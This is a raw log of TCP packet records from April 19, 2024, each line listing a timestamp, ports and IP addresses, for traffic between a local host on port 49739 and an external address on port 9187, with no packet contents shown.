Apr 19, 2024 01:34:03.697628021 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697658062 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697698116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697737932 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697750092 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697776079 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697786093 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.697814941 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697855949 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.697866917 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.739793062 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897252083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897315979 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897361040 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897377014 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897397995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897419930 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897425890 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897460938 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897497892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897536993 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897574902 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897592068 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897592068 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897639036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897699118 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.897700071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897737980 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897775888 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:03.897799015 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:03.942912102 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.097675085 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097735882 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097790003 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097805977 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.097829103 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097865105 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097877026 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.097903013 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097939014 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.097958088 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.097978115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.098014116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.098028898 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.098051071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.098088026 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.098103046 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.146061897 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.262887001 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.262942076 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.262979984 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263003111 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.263019085 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263056040 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263065100 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.263093948 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263132095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263138056 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.263170004 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263207912 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263216972 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.263243914 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263282061 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263293982 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.263319016 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263355970 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.263376951 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.318015099 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.463311911 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463376999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463416100 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463426113 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.463457108 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463498116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463505030 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.463536978 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463577032 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463586092 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.463614941 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463654995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.463666916 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.463768959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.785629034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785695076 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785734892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785737991 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.785774946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785814047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785814047 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.785851955 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785892010 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785897017 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.785936117 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785974979 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.785984039 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.786011934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.786051989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.786067009 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.786089897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.786128044 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.786135912 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.833503962 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985157013 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985240936 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985308886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985349894 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985388041 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985424995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985424995 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985439062 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985481024 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985496998 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985519886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985558033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985595942 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985634089 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985672951 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985688925 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985688925 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:04.985714912 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:04.985721111 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.036752939 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185497046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185560942 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185600042 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185638905 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185683966 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185722113 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185735941 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185735941 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185761929 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185770035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185803890 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185843945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185882092 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185919046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185950994 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185950994 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.185957909 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.185997009 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.186204910 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.240415096 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.385854959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.385920048 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.385960102 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.385987043 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.385998964 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386038065 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386044979 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.386075974 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386115074 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386125088 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.386153936 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386192083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386200905 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.386230946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386270046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386279106 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.386307955 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386346102 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.386356115 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.427377939 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.585650921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585705996 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585736990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585766077 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585793018 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585798025 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.585822105 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585825920 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.585853100 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585866928 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.585880995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585910082 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585923910 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.585937977 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585967064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.585994959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.586002111 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.586025000 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.586070061 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.630393982 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.786343098 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786391973 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786428928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786463976 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786499023 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786536932 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786535978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.786572933 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786575079 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.786607981 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786607981 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.786643028 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786679029 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786684036 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.786716938 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.786762953 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.952967882 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953032970 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953073025 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953110933 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953151941 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953190088 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953229904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953268051 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953283072 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.953283072 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.953284025 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.953310013 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953346968 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953376055 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.953385115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953430891 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:05.953429937 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953449011 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:05.953499079 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.153773069 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.153852940 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.153892040 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.153930902 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.153970003 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.153973103 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.154001951 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.154025078 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154064894 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154104948 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154118061 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.154144049 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154181957 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154198885 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.154220104 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154226065 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.154259920 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154297113 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.154309034 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.208498955 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.352905989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.352978945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.353018045 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.353076935 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.353218079 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.674793959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.674855947 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.674895048 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.674902916 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.674932957 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.674971104 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.674983025 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.675012112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.675057888 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.675064087 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.724132061 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775413990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775474072 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775513887 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775532961 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775552034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775599003 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775599957 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775613070 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775651932 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775657892 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775690079 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775727034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775741100 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775763988 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775799990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775808096 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775837898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.775882959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.775897026 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.817869902 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.976717949 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976787090 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976824999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976840019 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.976865053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976905107 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976918936 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.976943970 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976980925 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.976995945 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.977020979 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977057934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977063894 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.977096081 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977133989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977149010 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:06.977173090 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977215052 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:06.977216959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.021002054 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177104950 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177170038 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177211046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177248001 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177295923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177311897 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177356958 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177371025 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177407980 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177448034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177500010 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177541018 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177557945 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177557945 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177577972 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177589893 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.177615881 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177658081 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.177711010 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.224148035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.377681017 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377774000 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377831936 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377835035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.377870083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377907991 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377923012 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.377945900 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377983093 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.377996922 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.378022909 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.378067017 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.378077030 CEST	9187	49739	8.212.54.142	192.168.2.6
